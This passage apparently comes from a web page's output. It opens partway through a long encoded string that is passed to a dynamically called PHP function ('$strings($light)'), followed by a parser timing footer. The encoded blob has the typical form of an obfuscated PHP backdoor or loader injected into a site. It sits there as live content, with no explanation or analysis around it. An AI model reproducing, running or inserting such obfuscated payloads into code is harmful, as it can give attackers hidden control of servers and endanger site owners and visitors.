wg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwAzZGSyAzR0ZzWwZJD4ZQR2ZQHjZmRlLmp4BJExAmSzVvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); ?> 
 
Parser timing
  MySQL: 0,0126 s(22 Requests)
  PHP: 0,7239 s 
  Total: 0,7365 s